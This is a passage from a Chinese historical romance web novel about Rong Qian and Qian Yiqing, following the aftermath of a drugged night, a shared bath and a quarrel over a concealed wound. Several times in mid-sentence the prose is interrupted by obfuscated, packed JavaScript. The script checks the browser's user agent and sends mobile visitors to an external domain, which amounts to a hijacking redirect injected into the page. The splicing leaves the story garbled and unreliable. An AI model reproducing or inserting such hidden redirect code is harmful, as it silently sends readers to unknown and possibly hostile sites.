容潜摇摇头,小腿轻易地按下她缠上来的动作,诱导似的:“没听清,姐姐刚才说要什么?” 千裔清咬唇,饶是在这种理智全无的情况下依然觉得难以启齿,只是带着祈求的眼神一直看着容潜,看得他嘴唇发干。 “要什么?不说清楚......咱们便耗着。”容潜的声音越发喑哑,仍旧坚持着不肯再这个时候心软。 千裔清顿了顿,勾着他脖子的手掌心上移,来到他柔顺的后脑发间,扣着他靠近自己。 许是她的动作示意明显,又许是容潜在她面前自控力总是差一些,鬼使神差的,他把耳朵贴近她的唇边。 又烫又软的唇瓣一开一合,软绵无骨的声音含着蜜一般说道:“要你......永远是我的,可以吗......” 容潜的呼吸停了一瞬,什么矜持克制通通去见了阎王,他只听到自己沉重的呼吸一下又一下,而后颤抖着给了她很久以前就想要给她的回应。 “......从来都是你的,我从来都是你一个人的。” 铺垫盖地的眩晕感卷起每一个器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容潜愣了片刻,笑的很好心情,他的衣裳穿了一半,松松挂在肩头,听到这话又侧身坐在床榻上,歪着脑袋打量这个看起来全身都很别扭的女人。 千裔清的余光落在他脸上,扫了短暂的一眼后收回:“看什么?” 是等着她去叫人备水吗? 容潜勾着唇,很是贴心似的:“我是怕你待会又磕着碰着,一起洗更方便照顾你。” 千裔清顿了顿,语气僵硬地委婉提醒:“我昨天一夜未睡。” “我不也是一夜没睡?”容潜理所当然道,“就是因为一夜未睡,浴池湿滑,你确定自己可以?” 老实说,她不太确定。 但她可以确定的是容潜这人精力旺盛,就瞧他现在还是神采奕奕的,若再同他一起待着,后果无法预想。 看出她心中所想,容潜轻笑一声:“我保证只沐浴,不做别的。” 千裔清有点犹豫,试探地看着他:“真的?” “真的!”容潜点头,弯着笑眼讨好似的,“你还信不过我吗?” 她可没觉得眼前这人长了一张能信得过的脸。 “姐姐......” “别来这套。”千裔清板着脸打断他。 容潜佯装委屈的样子,轻声叹了一口气,开始数落她的错处:“姐姐果然是头号白眼狼,昨夜觉得舒服的时候缠着我不肯放手,现在厌了倦了就开始冷落我,当我是什么小猫小狗吗?” 她早在前半夜药效就褪去了,到底是谁后来反客为主不肯放手啊? 千裔清觉得头疼,算了,没心思跟他争论这些小事。 容潜却不依不饶的:“怎么,我说错了?姐姐分明是喜欢我,不过是嘴上不肯说罢了,你看!” 他指着地上那团被扯下的厚厚织锦:“若非昨夜,我还不知道姐姐身子这般敏感,湿成——唔——” 千裔清捂着他的嘴,脸色绯红:“我警告你不准再提了!” 掌心下捂着的双唇微启,湿滑的舌尖在她掌心掠过,惊得她连忙收回手,极其厌恶似的在被子上使劲儿蹭了蹭。 发觉对方的目光不知什么时候下移,千裔清低头,胸前的被子几乎快要滑落至腰际,她急忙向上扯紧,又把自己裹了个严严实实,但眼神依然在努力地瞪着容潜,借此表达自己的不满。 准确接收到来自她的不满之意,容潜笑了笑,把目光重新落回她的脸颊:“好,不提了。” 于是问题又绕回上一个:“那......一起洗?” 60. 体贴 容潜的执拗她并非第一天领会,于是在听到这句话时,她心里又是无奈,又是觉得意料之中。 千裔清认命地点头,催促道:“去备水。” 得到许可后,容潜听话的出去了。 千裔清艰难地翻了个身,全身骨头都像是重新组装过的一样不听使唤,又疼的厉害。 她一点点的回忆着发生过的事,意识模糊时候的事情大都记不清楚,只有那些强烈的触感和身体里的愉悦提醒自己当时的心情,只有这个时候,那些令人难以启齿的话语才忽然断断续续浮现在脑海里。 ......真不想承认那是她。 府上的热水一直是备着的,打通的隔间没过多久出现有人进进出出的声音,他们从偏门进去,虽是没进容潜卧房,但昨晚那动静自是有长耳朵的人听着,不用脑子也知道发生些什么。 下人不敢多问,就默默添水。 少顷,容潜推门回来了,一碗净水给她漱口,一碗清茶给她喝,不知道的还以为他是千裔清买回来的仆从,实在是殷勤。 衣领之下因他俯身的动作露出大片结实肌肉,还有那块已经长好的剑伤,美中不足的一丝浅痕。 这样一道伤疤竟是他自己一遍又一遍剖开的,也不知道他在做这些事的时候也曾觉得疼吗? 千裔清捧着碗默默饮茶,目不转睛地端详眼前男人的胸膛,陡然想起昨夜温热的长指按在她膝上疤痕的触感,一遍一遍的爱抚充满了疼惜。 容潜紧了紧衣裳,似笑非笑道:“别这么看我,像是要把我吃了似的。” 千裔清收回目光,没好气地瞥了他一眼,把喝的见底的碗递还给他。多亏这碗水,她略微沙哑的嗓子这才好受了一点。 容潜接过,问:“还要吗?” “要。”说完,她突然觉得这话好像有点歧义,脸颊似乎又热起来,千裔清摇头,改了口,“不要了。” 没由来的心虚让她悄悄抬眸,不巧对上一双正在专注凝望她的眼眸,漆黑如潭,却噙着笑:“我说的是水,你说的是什么?” 千裔清别扭道:“我说的也是水。” 容潜原本没想那么多的,只是问她还渴不渴,要不要喝水,喊了一晚上又出了那么多汗,应该是很渴的。 不过现下瞧这副样子定是想歪了什么,便起了逗她的心思:“那你到底是要,还是不要?” 一双杏眼带着怒意瞪向他。 容潜笑着接下:“怎么了?你不说我怎么知道?” 千裔清想了想,又用上她一贯生硬的转移话题方式:“我想喝什锦蜜汤。” 容潜点头应下:“好,还有什么?” 还真是有点饿了,罕见的,千裔清觉得胃口不错。 她抬眼看了窗外朦胧的亮色,这么早用饭,府里厨子也不知道起了没。 千裔清点了几样简单的:“梅花豆腐、藤萝饼,还有糖蒸酥酪。” 容潜有点诧异,难得见她一大早的胃口这么好,看来昨夜还真是累着了。 嗯,看来还是要多累点。 “就这些吧。”千裔清有点此地无银三百两的意思,越是觉得做了亏心事,越是不想太过麻烦别人。 容潜“嗯”了一声:“好,我让厨房去做,你先沐浴。” 容潜起身去内室看水添的如何了,留守的下人将桌几扶好,又在上头添了茶水,一份冰的,一份热的。 接着他又回到卧房,忙前跑后的直让千裔清看得微微发愣,竟然觉得这样的情景还挺有意思。 紧跟着,容潜伸出手,自然地捏上床榻上乱作一团的锦被正欲掀开,千裔清瑟缩了一下,和他争起了被子的主导权。 他没用力,只是象征性地扯两下,于是就有些哭笑不得:“你要裹着它去沐浴?” ......误会了。 虽然昨天已经见过,但那会子还能拿意识不清当个借口,现在她清醒的不能更清醒,再想到要和一个男人坦诚相见还是觉得有些羞赧。 拽着被子一边的手指缓缓松开些,千裔清觉得还是要矜持一下:“我先披件衣裳吧......” 话音还没落,趁着千裔清松手的间隙,容潜不由分说地伸手从她腿膝和后腰经过,霎时间把她从床榻角落中捞出,这下更是挡都不必挡了。 千裔清暗骂自己不争气,她一个医者,见了那么多伤者的赤身情形,怎么到自己身上反而这么作做,这不是她的风格。尤其容潜看着她的眼神再正常不过,一丝一毫的侵略性都没有,正自然而然的抱着她朝里间走。 这样岂不是更显得她狭隘了! 她的脸红一阵白一阵,看起来尴尬的紧,幸好从床边到浴池不过十多步的距离,千裔清稳稳落进水中时,安心的感觉终于把她包裹。 这水好舒服,温热的轻柔感漫过每一寸肌肤,千裔清趴在池边,阖上眼睛静静享受这种难得的平静。 容潜支着手臂撑在她身旁,嘴角噙着笑,水面上漂浮的竹木托盘刚好划至面前,容潜顺手勾过,冰过的碧色茶杯因为水面的热气微微出汗,细碎的水珠相继滚落,他用手心试了试温度。 没那么冰了。 “要不要喝点水?” 耳边回荡着容潜的声音,在偌大空旷的房间里如小石块突然落入泉中,带着温润的湿意和缱绻。 千裔清没睁眼,保持着原来的动作懒散“嗯”了一声。 他的声音也带着笑意:“不想动?那我喂你?” 她听到自己轻飘飘地又“嗯”了一声。 几声清脆的杯盏碰撞声音,还有容潜从水中抬起手的动作,千裔清闭着眼仍能感受到周身附近的水流被搅的乱了片刻,便静静等那片冰凉靠近。 然而意想中冰凉的杯身并没到来,靠近而来的是微微抬起她下巴调整角度的手指,与水中的温度不差分毫,紧随其后的是唇上带了些许凉意的柔软,长指毫不费力地引她轻启双唇,一股同样微凉的琼液顺着她齿间缝隙流入喉中,另一些则顺着嘴角滑落滴进池水,波澜转瞬即逝。 千裔清险些被呛到,抚着胸口连咽了几口,转头瞪着身边的罪魁祸首。 容潜带着一脸无辜的笑:“是你让我喂的。” 这是什么该死的回旋镖! 千裔清眼神落在水面上摆放整齐的茶具:“这不是有杯子吗?” “水太冰了,喝了对身体不好。”他还一副很有道理的样子。 可她记得进来时候是有两套茶具的,另外一套的壶口分明还冒着热气,温度不比自己泡着的水低。 容潜看她转着脑袋在找什么,摆出一副为了她好的样子:“那壶太烫,也喝不了。” 千裔清撇撇嘴,伸手暗了暗突突直跳的太阳穴,对他这番拙劣的解释颇显无奈。 到底是个不及弱冠的少年人,果然幼稚。 她有点不耐烦:“你想亲我就直说,不用每次都找这么烂的借口。” “很烂吗?”容潜学着她的样子趴在池边,脑袋凑近她,没有一丝一毫反省之意。 很烂。 千裔清剜了他一眼,给予一个肯定的答案。 “那——我想亲你。”容潜笑了笑,把她颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046113|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的一缕湿发挂在耳后,注目在她因沾染水汽变得柔润诱人的红唇之上,饱满的像是在邀请他一般。 他动了动喉结,带着请求似的:“可以吗?” 如果说不可以有用的话她还会出现在这里吗?应该早就回到她的乡野孤村盘算着如何了此残生了吧? 容潜是个不达目的不会罢休的人,她拒绝一次,他也能换一百种理由对她威逼利诱,直到达成目的。 这个道理千裔清早就看的明明白白。 她默了默,主动勾上对方的脖子,停在他唇畔讨价还价:“只亲一下。” “嗯,只亲一下。” 带着茶水清甜的唇舌异常甘美,冰凉的水留下的一丝清凉还没完全散去,在这封闭而湿热的空间中带着极大的诱惑,引诱他索取更多。 池水的冲击随着人身的动作变得更加强烈,一定要寻些什么依靠才能维持平衡,而容潜显然没给她扶着石沿的机会,翻身将她锁在两臂之间,虽是背后的玉石皆被打磨的光滑流畅,蝴蝶骨抵着的边角却还是硌的她骨头疼。 千裔清勾着他脖颈朝他怀里靠,落在容潜眼中就成了她的主动示好。 沉重的呼吸和喘息交粹乱得一发不可收拾,容潜是用了极大的努力才让自己克制着把唇偏离了一刻,确认道:“不是说只亲一下?” “......你压着我了。”千裔清微微调整呼吸,“我不洗了,你去帮我拿衣服吧。” 这里显然是不能待下去了,若再待下去难保她不会成为第一个溺死在这里的人。 容潜意外的没反驳,只是又深呼吸了一下,沉声道:“好,我很快回来。” 压迫和束缚顿时抽离,连带着周边的空气都变得充盈许多,千裔清暗自舒一口气,转身趴在池边等他。 又见容潜随意擦几下身上的水,将衣架上的里衣拿起穿上,动作丝毫不拖泥带水。 千裔清笑了笑,这个人就连穿衣时背也是挺直的,还真有点武将的样子。 突然她顿了顿,目光在他背上一闪而过的红色驻留,还没看清就被那层里衣挡了严严实实。 他穿好便出去了,再没给她看清的机会。 虽然他背上的确有些千裔清留下的抓痕,但那些左不过是破了层皮,就连血迹当下也都干透结痂,根本不会被她看得这样明白。 纵然隔着雾气,千裔清凭着本能也认出了那道已经结痂的痕迹显然是利器所为,至于是什么利器......没来得及看。 容潜受伤了?他什么时候受的伤?昨夜被她紧抓后背的时候也不曾喊一声疼。 也是她粗心,竟到了这会儿才察觉他身上有伤,虽是看起来不深,但一定也是疼的。 到底是什么时候受的伤? 千裔清想了想,只有那夜容潜急匆匆去见过谢子源后有些异常。 悄悄更换的外衣,靠近便能闻到的血腥味,还有屋子里不知什么时候点上的月麟香。 是那天。 - 早膳准备的很快,千裔清换好衣裳来到外殿时,精致的几道小菜和蜜汤正冒着热气。 容潜也换上了得体的衣裳,又恢复成从前那副生人勿近的矜贵模样,这样子让千裔清难以代入到昨天晚上,狠狠在心底骂了句:衣冠禽兽。 蜜汤的甜味随着热气一起溢出,几乎填满了整件屋子,千裔清吃着酥酪的时候也抑制不住紧盯汤羹的目光。 容潜勾唇扫过她皎白的小脸,盛好一碗汤羹耐心地搅着,吹了一遍又一遍。 他浅尝一口,点头递过来:“可以喝了。” 61. 隐瞒 那双手在她即将接过的瞬间又收回一寸:“还是我喂你?” “给我。”千裔清横他一眼,不满之意已经很明显了。 这个人真的不知道什么叫做适可而止,非要每个环节都搞些花样吗?纵是新婚夫妇也没这么腻歪吧! 容潜依言把汤碗放进她手里,不在意地笑了笑。 比想象中还要甜一些,瓜果蜂蜜都放了许多,却并不腻。 容潜看着她的反应,默默在心里又记下一道菜名。 他要了解她,也要更了解她。 了解她的一言一行、一举一动,了解她的每一寸肌肤甚至是每根头发丝,当然也要了解她的舌头。 他要了解全部。 胃里很快变得又暖又热,饥饿的感觉被渐渐抚平,千裔清捧着碗的动作微微一顿,又想起那道还没来得及仔细看的伤痕。 她有点犹豫,不知道该问还是不该问,就算问了,容潜会说吗? 噩梦带给她的惊悚之感莫名袭来,她想了想,还是问问吧,不然总觉得不安。 千裔清缓缓开口:“你前些天是不是受伤了?”她又补充道,“方才我看到你背上的伤口,似乎有几天了。” 容潜“哦”了一声,淡淡回应:“不记得了,许是在哪蹭的。” 千裔清滞了滞,有些不高兴的放下碗,碗底在桌上发出一声沉闷的声响。 容潜像是被她的动作惊得一愣,无奈笑道:“怎么了?” 千裔清转过头望着他,脸上平静的不带一点感情:“敢问殿下是怎么蹭到人家刀刃上的?” 果然是瞒不过她。 容潜暗自叹一口气,说道:“不是对你说过的吗,路上遇见几个匪徒,所以——” “匪徒?”千裔清挑眉,紧紧盯着他的眼睛,“几个匪徒就能伤到你,如此殿下还要如何去战场杀敌?原来大名鼎鼎的崇安王不过是个外强中干的绣花枕头!” 她是故意把话说的这么难听,想着男人都好面子,像容潜这种人更是自尊心强得不得了,非要让他说实话不可。 可惜她想错了,容潜连脸色都没变分毫,弯着一双好看的瑞凤眼瞧她:“唉!正是因为觉得丢脸才不敢告诉你,瞧,果然惹姐姐不高兴了。” 他这话说得理直气壮,全然没有一丝撒谎的样子,还真是是打着一瞒到底的主意不肯告诉她真相了! 越是这样,千裔清越觉得有什么,她很难不把这事的缘由和自己联系起来,否则容潜不会这么瞒她的。 容潜的坦然也并非因为说谎的本事大,他一直觉得自己不必对千裔清说谎的,因此,其实每次千裔清问他什么,他大多是知无不言的。 当然也只是大多,偶尔也有例外,例如这件事,他自认为只是隐瞒了部分的内容。 隐瞒......算不得撒谎吧? 因此也理直气壮起来。路上遇着的想要杀自己的,管他身家底细如何,可不就一律称为“匪徒”么? 千裔清哪里知道他想了这么多,想的那样复杂,她只是固执的认为容潜在骗她,而且这种欺骗与自己有关,这种被他人扼在掌心而自己却不能了解分毫的感觉很差很差。 于是她摔了筷子,头也不回的朝里走。 不急不缓的脚步声沉稳有力,渐渐靠近床榻,蒙在头顶的锦被外,那只手轻扯几下,反而被里头的人拽的更紧。 容潜暗叹一声:“皎月公主还被锁在禁室,你要不要随我去看看?” “不看!”看她做什么,还嫌不够晦气吗? “容泽那边你希望我如何处置?”他的声音又闷闷响起。 “你们容家的人,如何处置自然由你们姓容的定夺,与我何干?” “那......杀了?”他的声音轻飘飘、柔柔的,像是在问晚饭要不要杀条鱼尝尝一样。 千裔清仍是不想和他多说的样子:“随你,我要睡了。” 被子上的重量渐渐离开,床榻陷落的地方也重新上移,千裔清很想知道容潜走了没有,却又怕自己掀开被子迎上他给予注目的脸。 思量间,千裔清又听到容潜的声音:“我还记得从前在画山围场,那时我还只是个无权无势的皇子,从不和皇兄们争什么,也觉得自己争不过他们,只有你不一样,不需要我去争,你好像天生就是站在我这边的。” 他的声音带了淡淡的笑意:“可我总是没办法确认,你好像就在我身边,而我从身后偷偷看你时,你又好像离我很远......我故意说要把你让给容泽,当时你也像今天这样和我置气......” 一些片段和画面随着他的话语一起涌现在脑海中,千裔清听着,没由来的心烦意乱。 她也不知道自己在烦些什么乱些什么,只想让他马上闭嘴,便掀开被子打断他:“你到底要说什么?” 容潜沉了沉气息,带着淡淡笑意的脸渐渐转为认真。 “那样好听的琴音你再也没有为我抚过,那支舞你也再也未曾提过。”他微微抬眸,注视着千裔清蹙起的眉头,“我想问你,若昨日我不加以阻拦,你会不会听他的话,也为他跳舞?” 他还记得千裔清第一次见他时曾说过,这些都是为他一人,纵然后来知晓一切都是骗局,但骗局也好,骗局也是为他一人准备的。 昨日在宴上听到容泽的话,“失了先机”几个字狠狠扎了他一下,他陡然想到,若当初先帝要指给祝音的人不是自己而是容泽,他身边的人会不会也如对他一般去了容泽身边,为他抚琴、为他跳舞、为他...... 容潜无法接受,更无法去想象,也是直到那时他才发现自己两年以来得到的一切权势都不足以撑起他心底难以磨灭的自备感。 他还是很怕,怕失去,怕自己连被利用的价值都再没有,也就再留不住她了。 不提这事还好,千裔清原本就情绪不好,听到他翻起旧帐更是冷冷一笑,侧身支起手臂瞧着他,掀下腿上覆着的锦被指着问道:“你是说用这双腿吗?” 她撇了撇嘴,用波澜不惊的语调陈述事实:“殿下难道不知道?早在两年前落崖之后我的腿就再不能舞了。” 她又指着膝下那处疤痕所在的位置,隔着罗裙面带嫌恶地戳了几下:“你当我这一身旧疾是因为谁?这里的骨头碎了一块,若非师傅,我可能下半辈子都只能是个卧床的活死人了!所以,就算是皇上拿刀架在我脖子上,我这个‘废人’也只能说一句——抱歉,有心无力。” 容潜还没从她这番话带来的震惊中回过神来,昔日的吞吞吐吐在这一瞬才有了完整的答案。 是他从未了解清楚的答案。 说完这些,千裔清心头松快了不少,她捂着嘴打了个哈欠,背过身朝里躺下,丢下一句:“殿下要进宫便自己进吧,我得休息,烦请殿□□谅我这个废人。” 说完这些,千裔清还有点忐忑,她的话说的并不客气,难保容潜会突然变了脸色找她的不痛快,但没办法,她自己也觉得不痛快,当下想到什么便说什么了。 事后想想,她也是仗着容潜不会拿她怎么样才会如此。 恃宠而骄,说的也不是毫无道理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这算是自己安慰自己? 陆离扯了扯嘴角,他一个旁观者都看得出,刚才那语气显然不是担心啊! 再说了,千姑娘平日待您如何您自己不清楚吗? 饶是陆离在心底一遍遍诽腹,这些话他也不敢直说。 还没等他想好措辞,更让他难以回应的话语二度来袭。 容潜这次更是直视着他,确信一般自言自语:“是我错怪她了,她不肯来找我是因为身上有伤,并非是她不想见我。” 陆离:“......” 容潜的脖颈上还有昨晚留下的点点红痕,如此暧昧不明的颜色加之他一本正经的说出这话,看起来还真像话本里那些被妖精迷惑的单薄书生,看起来......有点蠢。 陆离觉得自己快要窒息了,偏开话题问道:“那殿下打算如何处理佑王?当真要杀了?” 这不大好吧,佑王毕竟是一朝王侯,是当今天子的弟弟,不是能随便杀之的。 容潜不悦地挑眉:“你觉得本王不敢?” 陆离摇摇头,想了个中折的办法:“属下不是这个意思,属下是想......要不您问问千姑娘的意见?毕竟事关于她——” “不用。”容潜沉言打断,“几只死老鼠而已,不必脏了她的耳朵。还有,以后称她王妃。” 陆离连连点头,又听见容潜喊他跟上。 “殿下要去哪里?”陆离最近很少跟着容潜一起行动,这次突然被叫着一起,顿时没反应过来。 容潜沉吟片刻,笑道:“去谢谢本王和王妃的媒人。” 62. 心软 绛雪来房里看了千裔清两次。 一次是厨房准备午膳的时候,说是崇安王出门时特意交待了要问问王妃有没有什么想吃的,可惜她在睡着。 午膳时间刚过,绛雪来看千裔清醒了没有,若是醒了便再让厨房准备上,可惜她还在睡着。 其实千裔清期间醒了几次,就连绛雪在她床前停了一会儿,细心的为她掖好被角这些事她都是有印象的。 但,实在是太困了,完全没有睁眼的力气。 彻底睁眼的时候,房里的颜色和昨天晚上相差无几,烛火在不远处的桌上摇晃几下,撑着手臂倚在桌前看书的身影就这样猝不及防落进眼底,是特意选了能一眼看到她的位置。 因此,随着千裔清起身的动作,一点异响就引得男人墨发微垂,下颌轻抬,随即容潜缓缓掀起眼帘注视着她,烛芯的火光映在深不见底的眼瞳,好看的让人移不开视线。 “你醒了?”容潜合上书,掀起身侧的衣摆来到她面前。 他回来时候天还没黑,见床上人睡的正香就没喊她。只是没想到这姑娘翻了几个身都没有要醒的意思,索性便拿了本书来看,一面等她醒来。 千裔清眨了眨还有些模糊的双眼,问道:“我睡了一天?” 容潜捏捏她的脸,轻笑:“差不多,待会儿还睡吗?” “睡。”很果断的回答,接着她垂下眼睫想了想,又说,“先吃点东西,饿了。” 千裔清想,许是在王府养尊处优惯了,连她自己都觉得胃口好了很多。 这是好事。 容潜点头:“好,想吃什么?” 他就这么在床沿边上坐着,安静等她回答,眉眼看起来耐心又柔和。 千裔清没觉得有什么不想吃,也没觉得有什么太想吃,就是饿了,觉得吃什么都好。 她答:“都好,快一点最好。” 容潜“嗯”了一声,然后起身:“那就把晚膳再热一热,你先吃些糕点等着,我去吩咐。” 桌上放着百花糕,容潜是从来不吃的,只是有那样的习惯备着,偶尔看着。 终是有那么一天进了它该进的人肚子里。 千裔清这会还有些没睡醒的迷糊,干巴地嚼,渴了就顺手拿起桌上他用过的杯子,茶杯里的水还温着,正好入口。 这种岁月静好的平和似乎有点违和,千裔清觉得好像本不该这样。 饭菜布好之后,容潜忙着给千裔清夹菜,又是挑鱼刺又是剥虾仁,偶尔对付着的吃上两口,一副做错了事讨好她的做派。 千裔清这才回过神,想起入睡以前自己好像还在和他吵架,只是这人一回来就做出听话温顺的模样,她一时不察就被迷惑了。 现在翻脸显得有点不讲情面。 千裔清想了想,暂且算了,咽下他剥干净的虾仁,问道:“你什么时候回来的?” 容潜又递给她一只,喂到嘴边,看她张嘴咽下才肯回答:“大约一个多时辰以前吧。” 一个多时辰。这时间她怎么一点动静都没听见,还是说这一个多时辰他就这么安静的等她醒来吗? “哦。”千裔清想着他也没吃饭,便对他摇摇头,“我自己吃。” “我不吃甜的。”容潜就这么伸着手,捏着瓷白的小勺,里面躺着一只圆润泛红的山楂糯米丸子,冒着热气。 已然送到嘴边,好吧,那就再吃一口。 犹豫了一瞬,千裔清张嘴咬下。容潜笑了笑,终于收回动作给她自行用膳的机会。 气氛陡然安静到只有筷勺叮当碰撞的声音,原本很稀松平常的场景,千裔清却不知怎的感觉不习惯。 她挑起话题,也是她本来就想问的:“你去见过皎月公主了?” 容潜淡淡应了声“嗯”,垂眸擦擦嘴角,神情自若。 等了一会,没听到他口中的后续,千裔清又问:“你打算怎么处置她?” 容潜顿了顿,弯着笑眼反问:“你希望我怎么处置她?” 说实话,皎月公主敢对她下药,死一百次都不为过。 可话又说回来了,宫里许多人都是亲眼看到容潜抱着她从祈霜阁出来,再加上他离开时说的那番话,宫里兴许已经传遍了。 她到底没在祈霜阁出事,皎月公主若因此受了刑法,那责任全都要怪在她头上,什么“红颜祸水、狐媚惑主”的流言也要接踵而至。 连累容潜事小,威胁到她事大啊! 千裔清没说话,神色间尽是纠结。 容潜偏头望着她:“不知道,还是没想好?” 千裔清暗暗叹息一声,淡声说:“放她回去吧。” 容潜对她的答案似乎毫不意外,平静地问:“为什么?你不怨她害你?” 千裔清摇摇头:“怨,但事已至此。”说完她看了一眼容潜,“至少这个结果不是最坏的。” 至少和她发生什么关系的那个人不是佑王。 她突然被脑海中的想法惊到,自己居然在庆幸那个人是容潜。 不,不对。 和佑王相比,换成谁她都会庆幸的,一定不是因为那个人是容潜。 撇开脑海中这些乱七八糟的想法,千裔清仰头问他:“所以呢,你要怎么做?” 容潜盯着她看了一会,说道:“和你想的一样,放她回去。我已经选好了日子,再过几天就送她回绥夏,一切礼节照常。” 千裔清点头,这种结果对夜南、对绥夏都是最好的,对所有人也都是最好的,因此他理应这么做。只是从他口中亲耳听到这样的结果,千裔清却又觉得有些失落。 说什么要替她出气,说什么要随她处置,还不都是骗人的。 他到底也不敢真的对皎月公主怎么样,那么对佑王......就更不会怎么样了吧...... 用膳结束,千裔清草草收拾干净爬回床塌,缩进那处已经变凉的被褥中,她仰头看着床幔,只盯了一会儿,眼皮又变得沉重。 还想睡,熬夜的后果当真让她难以承受。 她便闭上眼睛,不知过了多久,身上裹的锦被缝隙中似有凉风钻入,只是一瞬,她还是清晰的感觉到了。 千裔清翻了个身,迷迷糊糊中一头扎上温暖结实的身体,接着就被好闻的月麟香包裹严实,她动了动鼻子,靠近几分。 沉重有力的心跳声在她耳边咚咚作响,腰上缓缓绕过一只不安分的手臂,带着硬茧的手指从后脊探进里衣。 千裔清睁眼,外头的月光被挡的死死的,床幔之中一片漆黑,像是一处与世隔绝的岛屿,只有紧紧纠缠的两个人。 她尝试动了动,发现容潜没给她留下活动的空隙。 “太紧了。”她提醒,顺便用膝盖顶了顶他的腿侧。 “怕你冷。”容潜的声音从额头传来,每个字都要与她额头相擦几下。 千裔清的头被按在他脖颈处,坚硬的锁骨抵在她唇边,张口就能咬到。 但千裔清暂时忍住了,决定再给他一次机会:“太紧了,这样我睡不着。” 她听到耳边的心跳声越发清晰,一声一声渐渐加快,容潜低笑一声:“那不睡了,做点别的?” 千裔清:“……” 呼吸微微一滞,她委婉拒绝:“……我可能要缓缓。” 容潜松了松手臂,低垂几分,吐息轻洒在她眉心和鼻梁:“疼?还是累?” “都有。”千裔清推他两下,仍是没推动,有些烦躁道,“昨天一夜没睡,今天白天也没休息,你不累吗?” 嘴唇在她眉心蹭着,带着暗示意味:“和你在一起,我就不累。” 这下千裔清再也没忍住,张口咬上面前的颈侧,缓缓加重力道。 疼,就能放开她了吧? 容潜似是闷哼一声,手臂却是随着她加重的力度渐渐锁紧,越发用力把她脑袋向自己按。 他是疯了吗?这样她连松口的间隙都没有了,只能这么一直咬着他! 直到她舌尖似乎带了一些腥味,千裔清觉得自己再大力些就能咬断他的大脉,这样不行。 她停下力道,牙齿停在他带着热度的肌肤没动。 “继续。”容潜的声音带着几分哑然和隐忍,似乎还有些享受和愉悦。 他按着她脑袋催促:“继续,你咬我,我也很喜欢。” 千裔清怎样都不肯再动,费力地别过脸,给自己的双唇留出开合的余地。 纵然知道容潜很能忍痛,她心头还是有点复杂,声音里带着疑惑:“不疼吗?” 容潜动了动喉结,顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052206|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻才开口:“比起你不要我,不疼。” 相反的,他很喜欢。 她在他身上留下的任何一处痕迹,他都很喜欢。 容潜摸着她的头发,声音沉沉的,又格外柔和:“打我也好,咬我也好,你对我做的任何事我都喜欢,但比起这些,我最喜欢你吻我,可你不喜欢吻我,是吗?” 他突然失去耐心,翻身把千裔清按在身下,掰着她下颌质问:“为什么?” 千裔清很想知道他现在的表情,想看看他的眼睛,可视线之中皆是一片漆黑,纵使靠的这么近,她依旧看不清他。 刚动了动手指,容潜像是有所感应一样抓住,拉着她贴上自己的脸,在掌心一下一下蹭着。 “姐姐喜欢摸我?”他的声音带着蛊惑,像是得了骨头的小狗,方才还在伤心,这会又高兴的摇起尾巴,“姐姐喜欢摸哪里?” 千裔清沉吟片刻,手指从他的脸侧顺着脖颈线条缓缓下滑。 她看不到,只能凭着记忆,沿着他的身体摸索,伴随着容潜呼吸一沉,指尖停在他胸口上方两寸略微凸起的剑痕。 戳了两下,有点心软。 总归是被困在这里,哄哄算了,也是为自己。 千裔清拍拍他的肩头:“低头。” 身上的人似是一怔,接着听话地把头靠近。 千裔清看不到他在哪,只知道距离自己似乎还有点距离,命令道:“再低些,亲不到。” 他的身体微不可闻的一僵,继而带着强忍的战栗,胸腔中的跳动隔着单衣砸向她,喻示其中欣喜。 容潜把头更低,干脆直接把嘴唇送到她面前轻轻擦着,都不必她费力仰头。 千裔清迎上,在他唇上轻啄一下,声音软软的:“其实你只说对了一半。” “什么?”容潜怔然。 千裔清勾着他后颈压向自己,牙齿在他唇边点啃,带着分明的引诱,含糊不清:“我的意思是,我更喜欢你亲我。” 他的呼吸霎时停了一瞬,千裔清能听到他狠狠的抽气声,紧接着下一刻,如狂风压断了挂着松雪的树枝,她的意识也被呼啸而来的攻势尽数磨灭。 带着倾倒性的压迫几乎要将她胸腔里的呼吸全都挤出,连带着她本就所剩不多的气力一起吞没,唇齿相依,难分难舍。 这段时间很漫长,漫长到千裔清怀疑自己是不是还清醒着,是不是还存在于这个世界,容潜终于把她的意识归还。 他微微喘息着,拇指一遍一遍描摹她的眼尾:“你……要不要嫁给我?我是说,嫁给我。” 不是什么侍妾,更不是什么见不得光的身份,是与他并肩而立,不会被人说三道四的那个位置,是做他明媒正娶的结发妻子。 纵然他不介意她的出身,更不在意她以什么方式留在他身边,但他知道要给她最好的,旁人有的,她更要有。 可这个问题他不是没有问过,从前她没给他答案,如今又会给吗? 容潜发现自己紧张的手指都在小幅颤抖。 千裔清愣了愣,顾左右而言他一般:“我不是已经嫁给你了?” 